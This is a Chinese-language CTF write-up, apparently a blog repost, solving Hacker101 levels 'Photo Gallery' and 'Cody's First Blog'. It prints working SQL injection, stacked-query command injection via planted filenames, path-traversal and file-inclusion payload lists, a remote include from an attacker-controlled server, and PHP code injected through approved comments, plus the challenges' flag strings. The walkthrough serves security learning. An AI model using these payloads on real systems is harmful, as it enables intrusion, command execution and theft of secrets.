内容简介:hi!大家好,我又来啦,这次继续为大家带来Hacker101 CTF的writeup,接着上一篇的进度,这次和大家一起探讨第五题和第六题。
hi!大家好,我又来啦,这次继续为大家带来Hacker101 CTF的writeup,接着上一篇的进度,这次和大家一起探讨第五题和第六题。
废话少说,上题!
第五题Photo Gallery
打开主页看见我们可爱的喵喵ヽ(=^・ω・^=)丿
然而最下面貌似有一张图片不可见,先不管它,常规思路,看下网页源码:
<!doctype html>
<html>
<head>
<title>Magical Image Gallery</title>
</head>
<body>
<h1>Magical Image Gallery</h1>
<h2>Kittens</h2>
<div><div><img src="fetch?id=1" width="266" height="150"><br>Utterly adorable</div><div><img src="fetch?id=2" width="266" height="150"><br>Purrfect</div><div><img src="fetch?id=3" width="266" height="150"><br>Invisible</div><i>Space used: 0 total</i></div>
</body>
</html>
从源码中可以看出来,猫的图片是通过”fetch?id=1”这种方式加载的,我们在浏览器中访问一下: http://xxxx/xxx/fetch?id=1,返回如下:
貌似返回了一张图片的内容,我们在linux
虚拟机中执行:curl http://xxxx/xxx/fetch?id=1 > 1.jpg
将这段信息保存为1.jpg,查看,可以看到这的确是第一张猫的照片。
我们再访问: http://xxxx/xxx/fetch?id=2,同样返回了第二张猫的照片内容,
我们尝试一下访问: http://xxx/xxx/fetch?id=2-1,注意仔细看,这次又返回了第一张照片的内容:
这说明“2-1”被解析了,那么id参数很可能传递到了后台脚本的数据库逻辑中,所以这里很可能有注入:
python sqlmapy.py -u http://xxxx/xxx/fetch?id=1
于是一顿操作,拿到两张表:
Table1:albums
| id | title |
|---|---|
| 1 | Kittens |
Table:photos
| id | title | parent | filename |
|---|---|---|---|
| 1 | Utterly adorable | 1 | files/adorable.jpg |
| 2 | Purrfect | 1 | files/purrfect.jpg |
| 3 | Invisible | 1 | f8f1e29a43623363a3f53cede84d8c845a1c58076bcbf668c5372b593b7ef71d |
然而并没有flag。。
好吧,虽然没有注出flag,但我们也不能放弃人生呀!(^∀^)
继续来看,注意到表photos中的filename存储了照片的路径,也就是说,后台处理逻辑通过我们url中传递的id参数,来从数据库中取出了照片文件的路径,然后读取文件内容返回给我们,我们有理由猜测后台的 sql 语句应该类似于:
select filename from photo where id=N;
既然这里存在sql漏洞,那么我们就可以利用这一点来控制sql的查询结果也就是filename,进而读取我们控制的filename,我们验证一下,先访问url:
http://xxxx/xxx/fetch?id=4
很好,就如数据库结果呈现的一样,表photos中id=4时没有对应记录,然后访问url:
http://xxxx/xxx/fetch?id=4 union select 'files/adorable.jpg' --
Perfect!虽然id=4没有记录,但我们通过union查询成功伪造了filename,使得后台程序读取了第一张照片,那么继续,试试任意文件读取的经典payload:
http://xxxx/xxx/fetch?id=4 union select '../../../../../../../etc/passwd' --
然后:
真是谜之结果,我想了一会,觉得可能是后台逻辑对读取路径有额外处理,也许将文件名中的..替换掉了?
我试了一下访问url
http://xxxx/xxx/fetch?id=4 union select 'files/ador..able.jpg' --
好吧,还真是,看来只能读当前目录及子目录了,看能不能读取主页代码,分别访问url:
http://xxxx/xxx/fetch?id=4 union select 'index.php' -- http://xxxx/xxx/fetch?id=4 union select 'index.jsp' -- http://xxxx/xxx/fetch?id=4 union select 'index.aspx' -- http://xxxx/xxx/fetch?id=4 union select 'index.html' --
均无功而返,无奈之下只好看hint:
好吧,我承认我读书少,uwsgi是个什么鬼?
百度了一下:
uWSGI是一个Web服务器,它实现了WSGI协议、uwsgi、http等协议。Nginx中HttpUwsgiModule的作用是与uWSGI服务器进行交换。WSGI是一种Web服务器网关接口。它是一个Web服务器(如nginx,uWSGI等服务器)与web应用(如用Flask框架写的程序)通信的一种规范。
好吧,应该就是个中间件吧,搜了一下它的部署,一般uwsgi-nginx-flask-docker这种架构部署完了web应用的目录结构是这样子的:
|____docker-compose.yaml |____web | |____Dockerfile | |____entrypoint.sh | |____start.sh | |____app | | |______init__.py | | |____models.py | | |____views.py | | |____requirements.txt | | |____utils.py | | |____helper.py | | |____settings.py | | |____app.py | | |____uwsgi.ini |____README.md docker-compose.yaml和web文件夹和最外层readme.md同目录 web下面:Dockerfile, entrypoint.sh, start.sh, app app下面:app.py, uwsgi.ini, requirements.txt, models.py, views.py等
其中uwsgi.ini是uWSGI的配置文件,我们访问url:
http://xxxx/xxx/fetch?id=4 union select 'uwsgi.ini' --
读取了它的内容:
[uwsgi] module = main callable = app
依照uwsgi的参数定义
module = main
表示加载一个main.py这个模块,这应该是这个web应用的主要代码,我们继续读取main.py
http://xxxx/xxx/fetch?id=4 union select 'main.py' --
Perfect!读取到了main.py意味着我们的工作向前进了一大步,main.py的代码整理如下:
from flask import Flask, abort, redirect, request, Response
import base64, json, MySQLdb, os, re, subprocess
app = Flask(__name__)
home = '''
<!doctype html>
<html>
<head>
<title>Magical Image Gallery</title>
</head>
<body>
<h1>Magical Image Gallery</h1>
$ALBUMS$
</body>
</html>
'''
viewAlbum = '''
<!doctype html>
<html>
<head>
<title>$TITLE$ -- Magical Image Gallery</title>
</head>
<body>
<h1>$TITLE$</h1>
$GALLERY$
</body>
</html>
'''
def getDb():
return MySQLdb.connect(host="localhost", user="root", password="", db="level5")
def sanitize(data):
return data.replace('&', '&').replace('<', '<').replace('>', '>').replace('"', '"')
@app.route('/')
def index():
cur = getDb().cursor()
cur.execute('SELECT id, title FROM albums')
albums = list(cur.fetchall())
rep = ''
for id, title in albums:
rep += '<h2>%s</h2>n' % sanitize(title)
rep += '<div>'
cur.execute('SELECT id, title, filename FROM photos WHERE parent=%s LIMIT 3', (id, ))
fns = []
for pid, ptitle, pfn in cur.fetchall():
rep += '<div><img src="fetch?id=%i" width="266" height="150"><br>%s</div>' % (pid, sanitize(ptitle))
fns.append(pfn)
rep += '<i>Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('n', 1)[-1] + '</i>'
rep += '</div>n'
return home.replace('$ALBUMS$', rep)
@app.route('/fetch')
def fetch():
cur = getDb().cursor()
if cur.execute('SELECT filename FROM photos WHERE id=%s' % request.args['id']) == 0:
abort(404)
# It's dangerous to go alone, take this:
# ^FLAG^276c9cab4db9a0f361be2059933e1238ddac12c6b3c3ce867e736068284e9036$FLAG$
return file('./%s' % cur.fetchone()[0].replace('..', ''), 'rb').read()
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
注意里面有个flag,这算是出题人对我们目前进展的奖励吧(  ̄∇ ̄ )!
接下来审计main.py
注意到第53行,
rep += '<i>Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('n', 1)[-1] + '</i>'
貌似可以进行命令注入,前提是如果我们能控制列表fns中的项fn,例如:
fns=["xx || ls"]
则可以执行系统命令ls,可以怎么控制fns呢,继续往前看:
cur.execute('SELECT id, title, filename FROM photos WHERE parent=%s LIMIT 3', (id, ))
fns = []
for pid, ptitle, pfn in cur.fetchall():
rep += '<div><img src="fetch?id=%i" width="266" height="150"><br>%s</div>' % (pid, sanitize(ptitle))
fns.append(pfn)
我们可以得知列表fns的项来自表photos中filename,而所以如果我们能够控制表photos中的filename就能最终进行代码注入,那么哪里可以进行控制表photos中的filename呢,我们来看59行开始的代码:
def fetch():
cur = getDb().cursor()
if cur.execute('SELECT filename FROM photos WHERE id=%s' % request.args['id']) == 0:
abort(404)
# It's dangerous to go alone, take this:
# ^FLAG^276c9cab4db9a0f361be2059933e1238ddac12c6b3c3ce867e736068284e9036$FLAG$
return file('./%s' % cur.fetchone()[0].replace('..', ''), 'rb').read()
注意这里就是sql注入点发生的位置,我们可以控制request.args[‘id’]达到控制sql过程,那么如果execute函数支持sql堆叠查询,我们不就可以控制表photos中的数据了么,我们先来测试一下吧,访问url:
http://xxxx/xxx/fetch?id=1;update photos set title='test' where id=1;commit;--
也就是让后台执行
cur.execute('SELECT filename FROM photos WHERE id=1;update photos set title='test' where id=1;commit;--')
然后访问主页:
可以看到title被成功的改了过来,说明execute函数是支持堆叠查询的,那么就可以构造payload的,假如我要最终执行的命令是ls:
那么53行就应该为:
rep += '<i>Space used: ' + subprocess.check_output('du -ch files/xx ||ls || exit 0', shell=True, stderr=subprocess.STDOUT).strip().rsplit('n', 1)[-1] + '</i>'
那么 fns=["xx ||ls"]
所以 filename="xx ||ls"
所以我们只要执行 update photos set filename='xx ||ls' where id=1 ,并且删除另外表photos中另外两行 delete from photos where id<>1 ,就能保证最终 filename="xx ||ls" ,我们来实践一下:依次访问url:
http://xxxx/xxx/fetch?id=1;update photos set filename='xx ||ls' where id=1;commit;--
http://xxxx/xxx/fetch?id=1;delete from photos where id<>1;commit;--
然后访问主页:
http://xxxx/xxx/
看,已经返回了结果,但为什么只有一项,原因在第53行
rep += '<i>Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('n', 1)[-1] + '</i>'
结尾处的 (...).strip().rsplit('n',1)[-1] 使得结果只输出一行,怎么才能让结果全部输出呢,办法有多种,我用的是 ... | tr -t 'n' ':' ,先访问url:
http://xxxx/xxx/fetch?id=1;update photos set filename="xx ||ls|tr -t 'n' ':'" where id=1;commit;--
再访问主页:
看都出来了吧,然而flag不在这里,我找了很久,最后发现flag居然在env环境变量里,
访问url:
http://xxxx/xxx/fetch?id=1;update photos set filename"xx ||env|tr -t 'n' ':'" where id=1;commit;--
然后访问主页:
Look!,3个flag全在这里了,其中一个我们已经提交过,剩下两种中的一个居然就是我们最初用sql注入跑出来的photos中id为3的filname的值,只不过要在两端分别加上“^FLAG^”与“$FLAG$”,好吧,
另外提一下我这里还尝试了bash反弹shell,然而并没有成功,我猜想这里的靶场环境可能不能外连,在后面的做题过程中我进一步确定了这一点,这是一个很重要的特性,有助于我们判断一些情况。
第六题Cody’s First Blog
开主页:
一个自写的blog应用,看主页的信息貌似与 php 和include有关,看来可能要用到文件包含漏洞。
常规思路,右键查看源代码:
主要标出的地方,有猫腻,访问一下:
http://xxxx/xxx/?page=admin.auth.inc
看吧,登入界面,我的测试思路有下面几种:
1.口令爆破
2.万能密码
3.post注入
但这里3种办法都测试了并没有结果,所以还是回到文件包含这个点上,我们访问这个url:
http://xxxx/xxx/?page=xxxx
看回显信息:
从错误信息我们可以得出以下结论:
1.?page=xxx是一个文件包含点
2.后台代码逻辑会在page参数后加”.php”后缀,也就是说?page=admin.auth.inc实际上包含的文件是admin.auth.inc.php
3.服务器上web应用的绝对路径为”/app/“
4.include_path参数设置表明优先从脚本当前目录开始查找被包含的文件
既然是文件包含,套路就很多了,首先要确定这是个本地包含漏洞还是远程包含漏洞,如果支持远程包含就很简单了,直接在你的vps上启动apache2,在web主目录下放上一个shell.php,里面内容:
<?php echo <<<EOF <?php phpinfo();?> EOF; ?>
然后让web应用远程包含你的shell.php,注意这里”.php”自动会给我们加上,所以只要shell
http://xxxx/xxx/?page=http://yourvps/shell
就可以达到执行任意代码的效果,然而并没有效果:
另外向各位看官介绍一下 新姿势SMB包含 ,与利用其他协议进行远程包含的不同的是,SMB包含不需要开启allow_url_fopen与allow_url_include,也就是说即使“allow_url_include”和“allow_url_fopen”都设置为“Off”,PHP也不会阻止加载SMB URL!!!
然而依旧没有效果,好吧,我进一步确定了靶机不能外连的事实,那么只能从本地包含上想办法了,列一下本地包含的payload清单:
?page=/etc/passwd ?page=/etc/passwd%00 ?page=../../../../../../../../../etc/passwd ?page=../../../../../../../../../etc/passwd%00 ?page=data:text/plain,<?php phpinfo();?>%00 ?page=data:text/plain;base64,base64编码后的数据,注意payload不能以?>闭合??? ?page=php://filter/read=convert.base64-encode/resource=example2.php%00 ?page=php://filter/read=string.rot13/resource=example2.php%00 ?page=zip://./shell.jpg%23shell.php //这个要能上传zip文件 ?page=/var/log/httpd/access.log //日志包含 ?page=../../../../../proc/self/environ ?page=../../../../../proc/self/environ%00
当然并非所有的payload都可以奏效,分别进行测试,注意当php版本小于5.3.4时,且magic_quote_gpc关闭,可以在文件名中使用%00进行截断,%00后的内容不会被识别,这可以用来绕过.php后缀,然而这里的php版本为5.5.9,所以%00截断可以放弃了:
也就是说我们无法绕过.php后缀,那么我们包含的文件必然是后缀是php的文件,所以只能从协议下手,然而貌似上面的payload中只有php伪协议可以满足后缀为php,于是我尝试了一下这个payload:
?page=php://filter/read=convert.base64-encode/resource=index
如果这个payload奏效了,那么访问主页将得到index.php的base64编码后的源码,然而并没有:
与之前进行http远程包含不同,这次没有报错,而是跳转到了主页,感觉很迷,
想了一会,难道后台代码在包含使用协议时只允许包含http?
测试验证:
访问 http://xxxx/xxx/?page=http://test.com/test ,反应如下:
http://xxxx/xxx/?page=xxx://test/test ,反应如下:
又回到了主页,好吧,看来还真是设置了协议白名单,除了包含本地文件外,只能远程包含http协议的文件,但又不能访问其他ip,那么只剩下包含http://localhost/xxx.php这样的文件了,可以该怎么样利用呢,我们知道,在这个题中
http://xxxx/xxx?page=http://localhost/xxx 实际上是包含 http://localhost/xxx.php 的html输出(如果xxx.php被正常执行的话),这里实际上是个SSRF了。
如果我们能控制xxx.php的输出内容,那么我们就可以为所欲为了!
怎么控制呢,我们看看这个web应用还有没有其他可以利用的地方,注意看主页下方的评论区,我们来随便留条评论:
点击提交:
提示我们的评论已经提交,但是需要得到经过管理员的审核,看来还要找到管理界面来放行我们的评论啊!
最初从主页的html源码中我们已经得到了管理员登陆界面:
既然有admin.auth.inc.php,那么会不会有admin.inc.php呢,访问一下:
看来真的存在,但是却出了一些问题,猜想可能是数据库连接参数在其他文件中,所以单独访问才会出错,试试用包含的方式访问 http://xxxx/xxx/?page=admin.inc :
Perfect!我们不仅看到了我们的评论内容,而且拿到了第一个flag,继续,这个页面有Approve Comment链接,这应该可以放行我们刚刚的评论内容,点击一下:
发现评论消失,应该是通过了,注意这里的url链接: http://xxxx/xxx/page=admin.inc&approve=2 ,这或许是个注入点,来到主页:
可以看到我们的评论出现在了最下方,这说明我们可以已经控制了 http://xxxx/xxx/ 的html输入了,这不就满足了我们需要的攻击条件了吗?开始测试,
在评论区留下评论 <?php phpinfo();?> :
提交,
看,一不小心又拿到了一个flag,这更肯定了我们的思路,访问url
http://xxxx/xxx/?page=admin.inc :
点击”Approve Comment”,回到主页:
右键查看源码:
看吧,在主页的html输出中已经有了我们的payload,然后包含:
http://xxxx/xxx?page=http://localhhost/index
Perfect!payload成功执行,愉快的开始下一步吧,不过这里在执行下一步之前要重启一下靶机环境,因为不重启环境的话第二条payload貌似无法执行,原因不明,重启后添加评论:
<?php echo file_get_contents('index.php');?>
点击”Approve Comment”,回到主页,访问
http://xxxx/xxx?page=http://localhhost/index
右键查看源码如下:
<!doctype html>
<html>
<head>
<title><br />
<b>Notice</b>: Undefined variable: title in <b>/app/index.php</b> on line <b>27</b><br />
-- Cody's First Blog</title>
</head>
<body>
<h1><br />
<b>Notice</b>: Undefined variable: title in <b>/app/index.php</b> on line <b>30</b><br />
</h1>
<!doctype html>
<html>
<head>
<title>Home -- Cody's First Blog</title>
</head>
<body>
<h1>Home</h1>
<p>Welcome to my blog! I'm excited to share my thoughts with the world. I have many important and controversial positions, which I hope to get across here.</p>
<h2>September 1, 2018 -- First</h2>
<p>First post! I built this blog engine around one basic concept: PHP doesn't need a template language because it <i>is</i> a template language. This server can't talk to the outside world and nobody but me can upload files, so there's no risk in just using include().</p>
<p>Stick around for a while and comment as much as you want; all thoughts are welcome!</p>
<br>
<br>
<hr>
<h3>Comments</h3>
<!--<a href="?page=admin.auth.inc">Admin login</a>-->
<h4>Add comment:</h4>
<form method="POST">
<textarea rows="4" cols="60" name="body"></textarea><br>
<input type="submit" value="Submit">
</form>
<hr>
<p><?php
// ^FLAG^9cb36aef07ef970e8c8882b3d33065e48b3ced88419b2c6c62c14640e6de33ee$FLAG$
mysql_connect("localhost", "root", "");
mysql_select_db("level4");
$page = isset($_GET['page']) ? $_GET['page'] : 'home.inc';
if(strpos($page, ':') !== false && substr($page, 0, 5) !== "http:")
$page = "home.inc";
if(isset($_POST['body'])) {
mysql_query("INSERT INTO comments (page, body, approved) VALUES ('" . mysql_real_escape_string($page) . "', '" . mysql_real_escape_string($_POST['body']) . "', 0)");
if(strpos($_POST['body'], '<?php') !== false)
echo '<p>^FLAG^bc19640220c311cd872779cd1a60d1623b8fdde10f479c098674138ad31b188e$FLAG$</p>';
?>
<p>Comment submitted and awaiting approval!</p>
<a href="javascript:window.history.back()">Go back</a>
<?php
exit();
}
ob_start();
include($page . ".php");
$body = ob_get_clean();
?>
<!doctype html>
<html>
<head>
<title><?php echo $title; ?> -- Cody's First Blog</title>
</head>
<body>
<h1><?php echo $title; ?></h1>
<?php echo $body; ?>
<br>
<br>
<hr>
<h3>Comments</h3>
<!--<a href="?page=admin.auth.inc">Admin login</a>-->
<h4>Add comment:</h4>
<form method="POST">
<textarea rows="4" cols="60" name="body"></textarea><br>
<input type="submit" value="Submit">
</form>
<?php
$q = mysql_query("SELECT body FROM comments WHERE page='" . mysql_real_escape_string($page) . "' AND approved=1");
while($row = mysql_fetch_assoc($q)) {
?>
<hr>
<p><?php echo $row["body"]; ?></p>
<?php
}
?>
</body>
</html>
</p>
</body>
</html>
<br>
<br>
<hr>
<h3>Comments</h3>
<!--<a href="?page=admin.auth.inc">Admin login</a>-->
<h4>Add comment:</h4>
<form method="POST">
<textarea rows="4" cols="60" name="body"></textarea><br>
<input type="submit" value="Submit">
</form>
</body>
</html>
可以看到index.php的源码已经拿到,第三个flag就在注释中,3个flag虽然都已经拿到,但我对登陆页面admin.auth.inc.php比较好奇,想知道用户名密码到底是什么,于是又重启了环境,读取了admin.auth.inc.php的源码:
<form method="POST"> Username: <input type="text" name="username"><br> Password: <input type="password" name="password"><br> <input type="submit" value="Log In"><br> <?php if(isset($_POST[“username”]) || isset($_POST[“password”])) echo ‘<span style="color: red;">Incorrect username or password</span>‘; ?> </form>
好吧,居然没有用户名和密码,
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Probability and Computing
Michael Mitzenmacher、Eli Upfal / Cambridge University Press / 2005-01-31 / USD 66.00
Assuming only an elementary background in discrete mathematics, this textbook is an excellent introduction to the probabilistic techniques and paradigms used in the development of probabilistic algori......一起来看看 《Probability and Computing》 这本书的介绍吧!